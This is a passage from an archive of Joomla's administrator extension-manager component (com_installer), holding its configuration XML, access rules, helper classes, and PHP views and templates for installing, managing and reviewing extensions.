		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		$this->setState('extension_message', JFactory::getApplication()->getUserState('com_installer.extension_message'));

		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to compare two languages in order to sort them.
	 *
	 * @param   object  $lang1  The first language.
	 * @param   object  $lang2  The second language.
	 *
	 * @return  integer
	 *
	 * @since   3.7.0
	 */
	protected function compareLanguages($lang1, $lang2)
	{
		return strcmp($lang1->name, $lang2->name);
	}
}
com_installer/config.xml000060400000003115152455305310011365 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="preferences"
		label="COM_INSTALLER_PREFERENCES_LABEL"
		description="COM_INSTALLER_PREFERENCES_DESCRIPTION"
		>

		<field
			name="show_jed_info"
			type="radio"
			label="COM_INSTALLER_SHOW_JED_INFORMATION_LABEL"
			description="COM_INSTALLER_SHOW_JED_INFORMATION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">COM_INSTALLER_SHOW_JED_INFORMATION_SHOW_MESSAGE</option>
			<option value="0">COM_INSTALLER_SHOW_JED_INFORMATION_HIDE_MESSAGE</option>
		</field>

		<field
			name="cachetimeout"
			type="integer"
			label="COM_INSTALLER_CACHETIMEOUT_LABEL"
			description="COM_INSTALLER_CACHETIMEOUT_DESC"
			first="0"
			last="24"
			step="1"
			default="6"
		/>

		<field
			name="minimum_stability"
			type="list"
			label="COM_INSTALLER_MINIMUM_STABILITY_LABEL"
			description="COM_INSTALLER_MINIMUM_STABILITY_DESC"
			default="4"
			>
			<option value="0">COM_INSTALLER_MINIMUM_STABILITY_DEV</option>
			<option value="1">COM_INSTALLER_MINIMUM_STABILITY_ALPHA</option>
			<option value="2">COM_INSTALLER_MINIMUM_STABILITY_BETA</option>
			<option value="3">COM_INSTALLER_MINIMUM_STABILITY_RC</option>
			<option value="4">COM_INSTALLER_MINIMUM_STABILITY_STABLE</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_installer"
			section="component"
		/>

	</fieldset>
</config>
com_installer/access.xml000060400000001166152455305310011365 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_installer">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_installer/helpers/installer.php000060400000010740152455305310013550 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer helper.
 *
 * @since  1.6
 */
class InstallerHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($vName = 'install')
	{
		if (JFactory::getUser()->authorise('core.admin'))
		{
			JHtmlSidebar::addEntry(
				JText::_('COM_INSTALLER_SUBMENU_INSTALL'),
				'index.php?option=com_installer&view=install',
				$vName == 'install'
			);
		}
		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_UPDATE'),
			'index.php?option=com_installer&view=update',
			$vName == 'update'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_MANAGE'),
			'index.php?option=com_installer&view=manage',
			$vName == 'manage'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_DISCOVER'),
			'index.php?option=com_installer&view=discover',
			$vName == 'discover'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_DATABASE'),
			'index.php?option=com_installer&view=database',
			$vName == 'database'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_WARNINGS'),
			'index.php?option=com_installer&view=warnings',
			$vName == 'warnings'
		);

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JHtmlSidebar::addEntry(
				JText::_('COM_INSTALLER_SUBMENU_LANGUAGES'),
				'index.php?option=com_installer&view=languages',
				$vName == 'languages'
			);
		}

		JHtmlSidebar::addEntry(
			JText::_('COM_INSTALLER_SUBMENU_UPDATESITES'),
			'index.php?option=com_installer&view=updatesites',
			$vName == 'updatesites'
		);
	}

	/**
	 * Get a list of filter options for the extension types.
	 *
	 * @return  array  An array of stdClass objects.
	 *
	 * @since   3.0
	 */
	public static function getExtensionTypes()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT type')
			->from('#__extensions');
		$db->setQuery($query);
		$types = $db->loadColumn();

		$options = array();

		foreach ($types as $type)
		{
			$options[] = JHtml::_('select.option', $type, JText::_('COM_INSTALLER_TYPE_' . strtoupper($type)));
		}

		return $options;
	}

	/**
	 * Get a list of filter options for the extension types.
	 *
	 * @return  array  An array of stdClass objects.
	 *
	 * @since   3.0
	 */
	public static function getExtensionGroupes()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT folder')
			->from('#__extensions')
			->where('folder != ' . $db->quote(''))
			->order('folder');
		$db->setQuery($query);
		$folders = $db->loadColumn();

		$options = array();

		foreach ($folders as $folder)
		{
			$options[] = JHtml::_('select.option', $folder, $folder);
		}

		return $options;
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @since   1.6
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_installer');
	}

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   3.5
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));

		return $options;
	}

	/**
	 * Get a list of filter options for the application statuses.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   3.5
	 */
	public static function getStateOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JDISABLED'));
		$options[] = JHtml::_('select.option', '1', JText::_('JENABLED'));
		$options[] = JHtml::_('select.option', '2', JText::_('JPROTECTED'));
		$options[] = JHtml::_('select.option', '3', JText::_('JUNPROTECTED'));

		return $options;
	}
}
com_installer/helpers/html/manage.php000060400000002757152455305310013760 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer HTML class.
 *
 * @since  2.5
 */
abstract class InstallerHtmlManage
{
	/**
	 * Returns a published state on a grid.
	 *
	 * @param   integer  $value     The state value.
	 * @param   integer  $i         The row index.
	 * @param   boolean  $enabled   An optional setting for access control on the action.
	 * @param   string   $checkbox  An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see JHtmlJGrid::state
	 *
	 * @since   2.5
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states = array(
			2 => array(
				'',
				'COM_INSTALLER_EXTENSION_PROTECTED',
				'',
				'COM_INSTALLER_EXTENSION_PROTECTED',
				true,
				'protected',
				'protected',
			),
			1 => array(
				'unpublish',
				'COM_INSTALLER_EXTENSION_ENABLED',
				'COM_INSTALLER_EXTENSION_DISABLE',
				'COM_INSTALLER_EXTENSION_ENABLED',
				true,
				'publish',
				'publish',
			),
			0 => array(
				'publish',
				'COM_INSTALLER_EXTENSION_DISABLED',
				'COM_INSTALLER_EXTENSION_ENABLE',
				'COM_INSTALLER_EXTENSION_DISABLED',
				true,
				'unpublish',
				'unpublish',
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'manage.', $enabled, true, $checkbox);
	}
}
com_installer/helpers/html/updatesites.php000060400000002531152455305310015050 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer HTML class.
 *
 * @since  3.5
 */
abstract class InstallerHtmlUpdatesites
{
	/**
	 * Returns a published state on a grid.
	 *
	 * @param   integer  $value     The state value.
	 * @param   integer  $i         The row index.
	 * @param   boolean  $enabled   An optional setting for access control on the action.
	 * @param   string   $checkbox  An optional prefix for checkboxes.
	 *
	 * @return  string   The HTML code
	 *
	 * @see     JHtmlJGrid::state()
	 * @since   3.5
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states	= array(
			1 => array(
				'unpublish',
				'COM_INSTALLER_UPDATESITE_ENABLED',
				'COM_INSTALLER_UPDATESITE_DISABLE',
				'COM_INSTALLER_UPDATESITE_ENABLED',
				true,
				'publish',
				'publish',
			),
			0 => array(
				'publish',
				'COM_INSTALLER_UPDATESITE_DISABLED',
				'COM_INSTALLER_UPDATESITE_ENABLE',
				'COM_INSTALLER_UPDATESITE_DISABLED',
				true,
				'unpublish',
				'unpublish',
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'updatesites.', $enabled, true, $checkbox);
	}
}
com_installer/views/manage/view.html.php000060400000004160152455305310014412 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Manage View
 *
 * @since  1.6
 */
class InstallerViewManage extends InstallerViewDefault
{
	protected $items;

	protected $pagination;

	protected $form;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  mixed|void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Get data from the model.
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		// Display the view.
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_installer');

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('manage.publish', 'JTOOLBAR_ENABLE', true);
			JToolbarHelper::unpublish('manage.unpublish', 'JTOOLBAR_DISABLE', true);
			JToolbarHelper::divider();
		}

		JToolbarHelper::custom('manage.refresh', 'refresh', 'refresh', 'JTOOLBAR_REFRESH_CACHE', true);
		JToolbarHelper::divider();

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('COM_INSTALLER_CONFIRM_UNINSTALL', 'manage.remove', 'JTOOLBAR_UNINSTALL');
			JToolbarHelper::divider();
		}

		JHtmlSidebar::setAction('index.php?option=com_installer&view=manage');

		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE');
	}
}
com_installer/views/manage/tmpl/default.xml000060400000000322152455305310015102 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_MANAGE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_MANAGE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/manage/tmpl/default.php000060400000012121152455305310015071 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div id="installer-manage" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=manage'); ?>" method="post" name="adminForm" id="adminForm">
		<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
		<?php else : ?>
		<div id="j-main-container">
		<?php endif; ?>
			<?php if ($this->showMessage) : ?>
				<?php echo $this->loadTemplate('message'); ?>
			<?php endif; ?>
			<?php if ($this->ftp) : ?>
				<?php echo $this->loadTemplate('ftp'); ?>
			<?php endif; ?>
			<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
			<div class="clearfix"></div>
			<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('COM_INSTALLER_MSG_MANAGE_NOEXTENSION'); ?>
			</div>
			<?php else : ?>
			<table class="table table-striped" id="manageList">
				<thead>
					<tr>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'status', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_NAME', 'name', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_LOCATION', 'client_translated', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_TYPE', 'type_translated', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="hidden-phone">
							<?php echo JText::_('JVERSION'); ?>
						</th>
						<th width="10%" class="hidden-phone hidden-tablet">
							<?php echo JText::_('JDATE'); ?>
						</th>
						<th width="15%" class="hidden-phone hidden-tablet">
							<?php echo JText::_('JAUTHOR'); ?>
						</th>
						<th class="hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_FOLDER', 'folder_translated', $listDirn, $listOrder); ?>
						</th>
						<th class="hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_PACKAGE_ID', 'package_id', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_INSTALLER_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="11">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<tr class="row<?php echo $i % 2; if ($item->status == 2) echo ' protected'; ?>">
						<td>
							<?php echo JHtml::_('grid.id', $i, $item->extension_id); ?>
						</td>
						<td class="center">
							<?php if (!$item->element) : ?>
							<strong>X</strong>
							<?php else : ?>
								<?php echo JHtml::_('InstallerHtml.Manage.state', $item->status, $i, $item->status < 2, 'cb'); ?>
							<?php endif; ?>
						</td>
						<td>
							<label for="cb<?php echo $i; ?>">
								<span class="bold hasTooltip" title="<?php echo JHtml::_('tooltipText', $item->name, $item->description, 0); ?>">
									<?php echo $item->name; ?>
								</span>
							</label>
						</td>
						<td>
							<?php echo $item->client_translated; ?>
						</td>
						<td>
							<?php echo $item->type_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo @$item->version != '' ? $item->version : '&#160;'; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo @$item->creationDate != '' ? $item->creationDate : '&#160;'; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<span class="editlinktip hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('COM_INSTALLER_AUTHOR_INFORMATION'), $item->author_info, 0); ?>">
								<?php echo @$item->author != '' ? $item->author : '&#160;'; ?>
							</span>
						</td>
						<td class="hidden-phone">
							<?php echo $item->folder_translated; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->package_id ?: '&#160;'; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $item->extension_id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
			<?php endif; ?>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		<!-- End Content -->
		</div>
	</form>
</div>
com_installer/views/warnings/tmpl/default.php000060400000003073152455305310015477 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div id="installer-warnings" class="clearfix">
	<form action="<?php echo JRoute::_('index.php?option=com_installer&view=warnings'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php if (count($this->messages)) : ?>
			<?php echo JHtml::_('bootstrap.startAccordion', 'warnings', array('active' => 'warning0')); ?>
				<?php $i = 0; ?>
				<?php foreach ($this->messages as $message) : ?>
					<?php echo JHtml::_('bootstrap.addSlide', 'warnings', $message['message'], 'warning' . ($i++)); ?>
						<?php echo $message['description']; ?>
					<?php echo JHtml::_('bootstrap.endSlide'); ?>
				<?php endforeach; ?>
					<?php echo JHtml::_('bootstrap.addSlide', 'warnings', JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'), 'furtherinfo'); ?>
						<?php echo JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC'); ?>
					<?php echo JHtml::_('bootstrap.endSlide'); ?>
			<?php echo JHtml::_('bootstrap.endAccordion'); ?>
		<?php endif; ?>
			<div>
				<input type="hidden" name="boxchecked" value="0" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
</div>
com_installer/views/warnings/tmpl/default.xml000060400000000326152455305310015506 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_WARNINGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_WARNINGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/warnings/view.html.php000060400000002254152455305310015014 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Warning View
 *
 * @since  1.6
 */
class InstallerViewWarnings extends InstallerViewDefault
{
	/**
	 * Display the view
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$items = $this->get('Items');
		$this->messages = &$items;
		parent::display($tpl);

		if (count($items) > 0)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_INSTALLER_MSG_WARNINGS_NOTICE'), 'warning');
		}
		else
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_INSTALLER_MSG_WARNINGS_NONE'), 'notice');
		}
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS');
	}
}
com_installer/views/install/tmpl/default.php000060400000013376152455305310015324 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// MooTools is loaded for B/C for extensions generating JavaScript in their install scripts, this call will be removed at 4.0
JHtml::_('behavior.framework', true);
JHtml::_('bootstrap.tooltip');

JFactory::getDocument()->addScriptDeclaration(
	'
	Joomla.submitbutton4 = function() {
		var form = document.getElementById("adminForm");

		// do field validation
		if (form.install_url.value == "" || form.install_url.value == "http://" || form.install_url.value == "https://") {
			alert("' . JText::_('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			
			form.installtype.value = "url";
			form.submit();
		}
	};

	Joomla.submitbuttonInstallWebInstaller = function() {
		var form = document.getElementById("adminForm");
		
		form.install_url.value = "https://appscdn.joomla.org/webapps/jedapps/webinstaller.xml";
		
		Joomla.submitbutton4();
	};

	// Add spindle-wheel for installations:
	jQuery(document).ready(function($) {
		var outerDiv = $("#installer-install");
		
		JoomlaInstaller.getLoadingOverlay()
			.css("top", outerDiv.position().top - $(window).scrollTop())
			.css("left", "0")
			.css("width", "100%")
			.css("height", "100%")
			.css("display", "none")
			.css("margin-top", "-10px");
	});
	
	var JoomlaInstaller = {
		getLoadingOverlay: function () {
			return jQuery("#loading");
		},
		showLoading: function () {
			this.getLoadingOverlay().css("display", "block");
		},
		hideLoading: function () {
			this.getLoadingOverlay().css("display", "none");
		}
	};
	'
);

JFactory::getDocument()->addStyleDeclaration(
	'
	#loading {
		background: rgba(255, 255, 255, .8) url(\'' . JHtml::_('image', 'jui/ajax-loader.gif', '', null, true, true) . '\') 50% 15% no-repeat;
		position: fixed;
		opacity: 0.8;
		-ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity = 80);
		filter: alpha(opacity = 80);
		overflow: hidden;
	}
	'
);

?>

<script type="text/javascript">
	// Set the first tab to active if there is no other active tab
	jQuery(document).ready(function($) {
		var hasTab = function(href){
			return $('a[data-toggle="tab"]a[href*="' + href + '"]').length;
		};
		if (!hasTab(localStorage.getItem('tab-href')))
		{
			var tabAnchor = $("#myTabTabs li:first a");
			window.localStorage.setItem('tab-href', tabAnchor.attr('href'));
			tabAnchor.click();
		}
	});
</script>

<div id="installer-install" class="clearfix">
	<form enctype="multipart/form-data" action="<?php echo JRoute::_('index.php?option=com_installer&view=install'); ?>"
		method="post" name="adminForm" id="adminForm" class="form-horizontal">
		<?php if (!empty($this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
			<?php else : ?>
			<div id="j-main-container">
				<?php endif; ?>
				<!-- Render messages set by extension install scripts here -->
				<?php if ($this->showMessage) : ?>
					<?php echo $this->loadTemplate('message'); ?>
				<?php elseif ($this->showJedAndWebInstaller) : ?>
					<div class="alert alert-info j-jed-message"
						style="margin-bottom: 40px; line-height: 2em; color:#333333;">
						<?php echo JHtml::_(
							'link',
							JRoute::_('index.php?option=com_config&view=component&component=com_installer&path=&return=' . urlencode(base64_encode(JUri::getInstance()))),
							'<span class="element-invisible">' . str_replace('"', '&quot;', JText::_('COM_INSTALLER_SHOW_JED_INFORMATION_TOOLTIP')) . '</span>',
							'class="alert-options hasTooltip icon-options" data-dismiss="alert" title="' . str_replace('"', '&quot;', JText::_('COM_INSTALLER_SHOW_JED_INFORMATION_TOOLTIP')) . '"'
						);
						?>
						<p><?php echo JText::_('COM_INSTALLER_INSTALL_FROM_WEB_INFO'); ?>
							<?php echo JText::_('COM_INSTALLER_INSTALL_FROM_WEB_TOS'); ?></p>
						<input class="btn" type="button"
							value="<?php echo JText::_('COM_INSTALLER_INSTALL_FROM_WEB_ADD_TAB'); ?>"
							onclick="Joomla.submitbuttonInstallWebInstaller()"/>
					</div>
				<?php endif; ?>
				<?php echo JHtml::_('bootstrap.startTabSet', 'myTab'); ?>
				<?php // Show installation tabs at the start ?>
				<?php $firstTab = JEventDispatcher::getInstance()->trigger('onInstallerViewBeforeFirstTab', array()); ?>
				<?php // Show installation tabs ?>
				<?php $tabs = JEventDispatcher::getInstance()->trigger('onInstallerAddInstallationTab', array()); ?>
				<?php foreach ($tabs as $tab) : ?>
					<?php echo JHtml::_('bootstrap.addTab', 'myTab', $tab['name'], $tab['label']); ?>
					<fieldset class="uploadform">
						<?php echo $tab['content']; ?>
					</fieldset>
					<?php echo JHtml::_('bootstrap.endTab'); ?>
				<?php endforeach; ?>
				<?php // Show installation tabs at the end ?>
				<?php $lastTab = JEventDispatcher::getInstance()->trigger('onInstallerViewAfterLastTab', array()); ?>
				<?php $tabs = array_merge($firstTab, $tabs, $lastTab); ?>
				<?php if (!$tabs) : ?>
					<?php JFactory::getApplication()->enqueueMessage(JText::_('COM_INSTALLER_NO_INSTALLATION_PLUGINS_FOUND'), 'warning'); ?>
				<?php endif; ?>

				<?php if ($this->ftp) : ?>
					<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'ftp', JText::_('COM_INSTALLER_MSG_DESCFTPTITLE')); ?>
					<?php echo $this->loadTemplate('ftp'); ?>
					<?php echo JHtml::_('bootstrap.endTab'); ?>
				<?php endif; ?>

				<input type="hidden" name="installtype" value=""/>
				<input type="hidden" name="task" value="install.install"/>
				<?php echo JHtml::_('form.token'); ?>

				<?php echo JHtml::_('bootstrap.endTabSet'); ?>
			</div>
	</form>
</div>
<div id="loading"></div>
com_installer/views/install/tmpl/default.xml000060400000000324152455305310015322 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_INSTALLER_INSTALL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_INSTALL_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_installer/views/install/view.html.php000060400000002653152455305310014635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Install View
 *
 * @since  1.5
 */
class InstallerViewInstall extends InstallerViewDefault
{
	/**
	 * Display the view
	 *
	 * @param   string  $tpl  Template
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$paths = new stdClass;
		$paths->first = '';
		$state = $this->get('state');

		$this->paths = &$paths;
		$this->state = &$state;

		$this->showJedAndWebInstaller = JComponentHelper::getParams('com_installer')->get('show_jed_info', 1);

		JPluginHelper::importPlugin('installer');

		$dispatcher = JEventDispatcher::getInstance();
		$dispatcher->trigger('onInstallerBeforeDisplay', array(&$this->showJedAndWebInstaller, $this));

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		parent::addToolbar();
		JToolbarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL');
	}
}
com_installer/views/languages/view.html.php000060400000003602152455305310015130 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerViewDefault', dirname(__DIR__) . '/default/view.php');

/**
 * Extension Manager Language Install View
 *
 * @since  2.5.7
 */
class InstallerViewLanguages extends InstallerViewDefault
{
	/**
	 * @var object item list
	 */
	protected $items;

	/**
	 * @var object pagination information
	 */
	protected $pagination;

	/**
	 * @var object model state
	 */
	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   null  $tpl  template to display
	 *
	 * @return mixed|void
	 */
	public function display($tpl = null)
	{
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		// Get data from the model.
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->installedLang = JLanguageHelper::getInstalledLanguages();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_installer');
